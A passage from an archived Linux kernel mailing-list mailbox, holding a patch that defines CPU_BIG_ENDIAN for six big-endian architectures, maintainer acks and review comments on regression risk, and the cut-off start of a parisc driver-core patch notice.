        Thu, 8 Jun 2017 22:17:38 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v58MHaNw009963
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 8 Jun 2017 22:17:36 GMT
Original-Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v58MHVoR004540;
        Thu, 8 Jun 2017 22:17:32 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 08 Jun 2017 15:17:31 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2496238 gmane.linux.ports.m68k:9356 gmane.linux.ports.parisc:27475 gmane.linux.ports.sparc:25455
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2496238>

While working on enabling queued rwlock on SPARC, found
this following code in include/asm-generic/qrwlock.h
which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
 {
	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
 }

Problem is many of the fixed big endian architectures dont define
CPU_BIG_ENDIAN and clears the wrong byte.

Define CPU_BIG_ENDIAN for all the fixed big endian architecture.

Here is the orinal discussion
http://www.spinics.net/lists/devicetree/msg178101.html

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/frv/Kconfig      |    3 +++
 arch/h8300/Kconfig    |    3 +++
 arch/m68k/Kconfig     |    3 +++
 arch/openrisc/Kconfig |    3 +++
 arch/parisc/Kconfig   |    3 +++
 arch/sparc/Kconfig    |    3 +++
 6 files changed, 18 insertions(+), 0 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index eefd9a4..1cce824 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -17,6 +17,9 @@ config FRV
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ZONE_DMA
 	bool
 	default y
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 3ae8525..5380ac8 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,9 @@ config H8300
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
 
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index d140206..029a58b 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,6 +23,9 @@ config M68K
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	bool
 	default y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 1e95920..a0f2e4a 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -29,6 +29,9 @@ config OPENRISC
 	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
 	select NO_BOOTMEM
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 531da9e..dda1f55 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -47,6 +47,9 @@ config PARISC
 	  and later HP3000 series).  The PA-RISC Linux project home page is
 	  at <http://www.parisc-linux.org/>.
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 58243b0..eb213b5 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -92,6 +92,9 @@ config ARCH_DEFCONFIG
 config ARCH_PROC_KCORE_TEXT
 	def_bool y
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ARCH_ATU
 	bool
 	default y if SPARC64
-- 
1.7.1



From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
Date: Fri, 9 Jun 2017 09:03:18 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <CAMuHMdXke2z5YuVfGU-wQ-PawwrGRP5_TyDN0qH8zah-iidNUQ@mail.gmail.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com> <1496960243-196898-2-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496991804 13986 195.159.176.226 (9 Jun 2017 07:03:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 07:03:24 +0000 (UTC)
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        "Linux/m68k" <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jun 09 09:03:18 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dJDwz-0004Lr-09
	for lnx-sparclinux@m.gmane.org; Fri, 09 Jun 2017 09:03:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751512AbdFIHDV (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 9 Jun 2017 03:03:21 -0400
Original-Received: from mail-it0-f67.google.com ([209.85.214.67]:36650 "EHLO
        mail-it0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751505AbdFIHDU (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 9 Jun 2017 03:03:20 -0400
Original-Received: by mail-it0-f67.google.com with SMTP id 185so2755351itv.3;
        Fri, 09 Jun 2017 00:03:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=Yk+RpyCe5nuJZO/B8ia/KgLD2HVfyY614QsbwhUjFE0=;
        b=V/f33eVPWKzh6EF3kYSXAEdePQQiCZqjOwArKoWsRvqBQYh2ZHUf92MmHRnsvlZYFv
         Z+ck6cnApo93Uw+jw8hzHNK3UT7Ag0GiXSx/nLJB+W1aQSluE+Rq6J4m17rWESoABREv
         YJ6DjhaaWRilrpiuBDQ/w/d4QSMBb1w1W+wv/F+D5Gck5egtUVe5CVBvWjmldCSO/to8
         0o83wWXKTGzyZ21ytwlTDHAGsyHMznTlF5ITXrSAwDALj+iF02Nzb8V/WomoFFdu4VzT
         1q4QlXyOCiXTfJEhFg6H7X0rObFmz/2mOWhTWVnyrnJ4ifFCxZF+pm5tx9pJqAQ8wsdK
         ySZg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=Yk+RpyCe5nuJZO/B8ia/KgLD2HVfyY614QsbwhUjFE0=;
        b=TJUZ7WYkItQOQSmulkIMTTqeoLWGyXEIMCkaxFBWyUlonvUBz76YpNjpfcUTx2FvM7
         P4YOo9BDY9048BG6q2O/umhQZQZm+aoXUBDNROM/Y5VXMmCIOcXdlpNAqh5vGmtCfWUp
         FZPKzsTHtmGChSG9TrL43TWwt9lK3wsO3/Ci/0mFaRhwxRqRu/5T2JaznEur76dKKqf9
         wAbnCwTym1Dhc8JwP6tYF8iYqFjCPBe7mYgV/cZ5gGppzecl++Vm5eLiRPR6tMdZ66+I
         F6JrXKVoKSUKZTQ475lLhrYEFz9YuBCXyCH2yBFyeYLHErzpHORIJv+98f2Q+hvhThT5
         LMQQ==
X-Gm-Message-State: AODbwcBvC0i3BRL4SQLLebV977fCQbPxfOv2UjhkQv3js0VzcmVV7TvR
        Gv0W2gbo84bzDAuhuaUeATvZ22KLCQ==
X-Received: by 10.36.233.70 with SMTP id f67mr9124909ith.60.1496991799403;
 Fri, 09 Jun 2017 00:03:19 -0700 (PDT)
Original-Received: by 10.107.182.84 with HTTP; Fri, 9 Jun 2017 00:03:18 -0700 (PDT)
In-Reply-To: <1496960243-196898-2-git-send-email-babu.moger@oracle.com>
X-Google-Sender-Auth: 5-vyEGl-rhLK3YyjFndV6kqjUfU
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:25456 gmane.linux.kernel:2496471 gmane.linux.ports.m68k:9358 gmane.linux.ports.parisc:27476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/25456>

On Fri, Jun 9, 2017 at 12:17 AM, Babu Moger <babu.moger@oracle.com> wrote:
> While working on enabling queued rwlock on SPARC, found
> this following code in include/asm-generic/qrwlock.h
> which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.
>
> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>  {
>         return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>  }
>
> Problem is many of the fixed big endian architectures dont define
> CPU_BIG_ENDIAN and clears the wrong byte.
>
> Define CPU_BIG_ENDIAN for all the fixed big endian architecture.
>
> Here is the orinal discussion
> http://www.spinics.net/lists/devicetree/msg178101.html
>
> Signed-off-by: Babu Moger <babu.moger@oracle.com>
> Suggested-by: Arnd Bergmann <arnd@arndb.de>

Hmm, the link above refers to a mail from me? ;-)

Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config definition
Date: Fri, 9 Jun 2017 09:05:57 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <CAMuHMdX2u8vZGBVXitH+FcfeMwZ8a1-g2b-Dh7V9=HnqJpj=hw@mail.gmail.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com> <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496991964 11206 195.159.176.226 (9 Jun 2017 07:06:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 07:06:04 +0000 (UTC)
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        "Linux/m68k" <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 09:05:58 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJDzZ-0002U2-U0
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 09:05:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751562AbdFIHGC (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 9 Jun 2017 03:06:02 -0400
Original-Received: from mail-io0-f193.google.com ([209.85.223.193]:35450 "EHLO
        mail-io0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751526AbdFIHGA (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Fri, 9 Jun 2017 03:06:00 -0400
Original-Received: by mail-io0-f193.google.com with SMTP id f79so5061835ioi.2;
        Fri, 09 Jun 2017 00:05:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=CIdKrR6Oc36qXkzpqE5gLolcRTWcIrMFa5fgbob7hgU=;
        b=vQ1WH20u+7QWcdRhE0k7GvgAU9iUgbr8NVdBtdgBvRaP9uNS2pqUQV2tKncgsdjlqX
         m3p/RJsiyOVEdBHUDmaoY9n0GiPIL8wYe9t+Xac6MHwPk5wQT0SLRVHeMCKDRkA0BG0X
         x2jJPy5j9Ev+8qpPBcsRJnEIQ84H+kt+t/ZBWo9M/Pswo48ucJwH7svgEAclo7Nn41mi
         AX3f3PWYcGu3u8cGB8umhdWzwFapSDS1D3ECPM1x1CxwIz8vS3/MK39PsHBcDciOSTRr
         KtWHIJcNMSUONs27pJO0eBZm10XjVCJcFcP1mAo3kUC8GE49LyaOj4XIqpxmOGYc+O8u
         Mftg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=CIdKrR6Oc36qXkzpqE5gLolcRTWcIrMFa5fgbob7hgU=;
        b=PnYmJcYzBaGGhSZQhVmjtZjVgK0JijiuSZqIMtWBiFkqCwdyAjEmV8BiOHpll3a5OE
         FndDYwZ6svWUumQbywXBykfrCuYy12brxqA9wU/Ck7YjkbRsLJTjyW6o/ypfW3FKgAIn
         2qN+TEiRDH9+KMOxyvZXZMO+JOwG2cRYVALEaQmTYzAx3UOHxY8jETh6tXNKyKUNRJHw
         pQAFpFd5zFLeGAJHeaw84qSeN/yCPOMRQjlIsVetTeS7CtmG5ndzKxwiW/bl59nTxotI
         F92+48wmhpUqRwffopRJpTTTMLyhOkPzrfhBwiIgWACb84FttiSsxIVGNK1hT2qNhrHF
         Dt+Q==
X-Gm-Message-State: AKS2vOxUAEivww5urirtu+nEsmtRxb4SSLPfoG1dh3bz0rx4rNp/lI+h
        2ULLigt0s/8LKBKs03GvuzKDP6Xokg==
X-Received: by 10.107.19.17 with SMTP id b17mr20104093ioj.51.1496991959135;
 Fri, 09 Jun 2017 00:05:59 -0700 (PDT)
Original-Received: by 10.107.182.84 with HTTP; Fri, 9 Jun 2017 00:05:57 -0700 (PDT)
In-Reply-To: <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
X-Google-Sender-Auth: MXISgXHVgDuADha_7Sm0S8Z9FAo
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9359 gmane.linux.kernel:2496476 gmane.linux.ports.parisc:27477 gmane.linux.ports.sparc:25457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9359>

On Fri, Jun 9, 2017 at 12:17 AM, Babu Moger <babu.moger@oracle.com> wrote:
> Display warning if CPU_BIG_ENDIAN is not defined on big endian
> architecture and also warn if it defined on little endian architectures.
>
> We have seen some generic code(for example code include/asm-generic/qrwlock.h)
> uses CONFIG_CPU_BIG_ENDIAN to decide the endianess.

That example is IMHO the least harmful, as qrwlock must be selected explicitly
by the architecture.

The uses in

    drivers/of/base.c
    drivers/of/fdt.c
    drivers/tty/serial/earlycon.c
    drivers/tty/serial/serial_core.c

are more dangerous, and may have bitten people already.
In addition, people may have worked around them in DT, so this series may
actually introduce regressions.

> Here is the original discussion
> http://www.spinics.net/lists/devicetree/msg178101.html
>
> Signed-off-by: Babu Moger <babu.moger@oracle.com>
> Suggested-by: Arnd Bergmann <arnd@arndb.de>

Hmm, the link above refers to a mail from me? ;-)

Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config definition
Date: Fri, 9 Jun 2017 09:16:46 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <CAMuHMdVia9Jkwz0eEbSG0OE-Sw5wMbdjA1o3F6m10NaSWXq_Vw@mail.gmail.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
 <1496960243-196898-3-git-send-email-babu.moger@oracle.com> <CAMuHMdX2u8vZGBVXitH+FcfeMwZ8a1-g2b-Dh7V9=HnqJpj=hw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496992612 2641 195.159.176.226 (9 Jun 2017 07:16:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 07:16:52 +0000 (UTC)
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        "Linux/m68k" <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 09 09:16:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJEA1-0000I7-7V
	for glpp-linux-parisc@m.gmane.org; Fri, 09 Jun 2017 09:16:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751512AbdFIHQu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 9 Jun 2017 03:16:50 -0400
Original-Received: from mail-io0-f195.google.com ([209.85.223.195]:35231 "EHLO
        mail-io0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751506AbdFIHQs (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 9 Jun 2017 03:16:48 -0400
Original-Received: by mail-io0-f195.google.com with SMTP id f79so5074382ioi.2;
        Fri, 09 Jun 2017 00:16:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=M/FgDoc5zouo/Hib1EtMdwcz0UzU1Qd/6vR/YTa7III=;
        b=CZYvGWEv1YHv+FiruI3zyY/RYfx2pOi4E0ZmbCadE0X/i1ib5qh76sRfzN8yKKwYS6
         iwfqQUwnaLii8+cuBTZIRg5oeSj3/OjgNAjbOXzbbtTzcMHC3zQZIPn9q9o/gu5nCkq8
         Ella4dZeBk0ey87fEZRRcMm34196j7dkfpYlvN5ABfVVsdLgLt724fm29YZdB7F2gfID
         LKSD/y4LHN9TfJXcGOgPmqVVEyirSuAYccLAYeESCiNP6MEN3bXMcIvNXzwHvYob/SgX
         NmhJQoe0U63DgW+YztOWp34JCMEJ9mcoLjN66tNIB2CJdyl6e3IrTobUKBrgnurfTf6Q
         j1sw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=M/FgDoc5zouo/Hib1EtMdwcz0UzU1Qd/6vR/YTa7III=;
        b=saKOR1MFTajXhkCLoarMtGqtYTll70juasScaVuCDaU3sCLVPkLqJ0yeGAryJGRlSy
         dG9g+JgroKxKv7p+qqn36oUod/toEGBmIjASJIX62rQ1Q2rmLUQB8FiInfxxTbEzK+Ji
         P1ltaSELjDGtvgXjAFKTuQa1sbRifip+OAmsHs4/4NA86+lCfd18xld3vI8PQvXG0+yP
         eS0yIgajF1FGSr3dADc6tUz5bLQW691+cJa1zmzmByT5/sPRBs0hk1gLQk24F1TVO3T/
         Ees9BnFWj6KAGDVE38eizRynRFf1CKNoUOQ5wfrrNnMpBxXTLela44zCMTl7U2PSLYMM
         zZ2w==
X-Gm-Message-State: AODbwcDW32YyWTJNuKoMb6NG3m1GYcZnTl1nKCc0uAoVacshUUgyoObe
        r2brsDPHWx0Gbg/gxtUdSmrc3Bf2FA==
X-Received: by 10.107.136.193 with SMTP id s62mr24401301ioi.21.1496992607649;
 Fri, 09 Jun 2017 00:16:47 -0700 (PDT)
Original-Received: by 10.107.182.84 with HTTP; Fri, 9 Jun 2017 00:16:46 -0700 (PDT)
In-Reply-To: <CAMuHMdX2u8vZGBVXitH+FcfeMwZ8a1-g2b-Dh7V9=HnqJpj=hw@mail.gmail.com>
X-Google-Sender-Auth: rlZ5lZAJHIHsxbbCh8vllIoKcgo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27478 gmane.linux.kernel:2496492 gmane.linux.ports.m68k:9360 gmane.linux.ports.sparc:25458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27478>

Hi Babu,

On Fri, Jun 9, 2017 at 9:05 AM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>
>> Here is the original discussion
>> http://www.spinics.net/lists/devicetree/msg178101.html
>>
>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>> Suggested-by: Arnd Bergmann <arnd@arndb.de>
>
> Hmm, the link above refers to a mail from me? ;-)

Please ignore that comment. I accidentally copied one line too much
from the other reply.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: patch "parisc: parisc_bus_type: use dev_groups and not dev_attrs for" added to driver-core-testing
Date: Fri, 09 Jun 2017 11:01:02 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <14969988626832@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1496998886 7246 195.159.176.226 (9 Jun 2017 09:01:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 09:01:26 +0000 (UTC)
To: gregkh@linuxfoundation.org, bart.vanassche@sandisk.com,
        deller@gmx.de, dledford@redhat.com, jejb@parisc-linux.org,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 09 11:01:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJFnE-0001Uz-7v
	for glpp-linux-parisc@m.gmane.org; Fri, 09 Jun 2017 11:01:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751705AbdFIJBY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 9 Jun 2017 05:01:24 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:43080 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751597AbdFIJBW (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 9 Jun 2017 05:01:22 -0400
Original-Received: from localhost (LFbn-1-12060-104.w90-92.abo.wanadoo.fr [90.92.122.104])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id C3177B7A;
        Fri,  9 Jun 2017 09:01:21 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27479>


This is a note to let you know that I've just added the patch titled

    parisc: parisc_bus_type: use dev_groups and not dev_attrs for

to my driver-core git tree which can be found at
    git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core.git
in the driver-core-testing branch.

The patch will show up in the next release of the linux-next tree
(usually sometime within the next 24 hours during the week.)

The patch will be merged to the driver-core-next branch sometime soon,
after it passes testing, and the merge window is open.

If you have any questions about this process, please let me know.


>From 9b7c6682270043415921ee73e584bdc4ee289fdf Mon Sep 17 00:00:00 2001
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Date: Tue, 6 Jun 2017 14:16:38 +0200
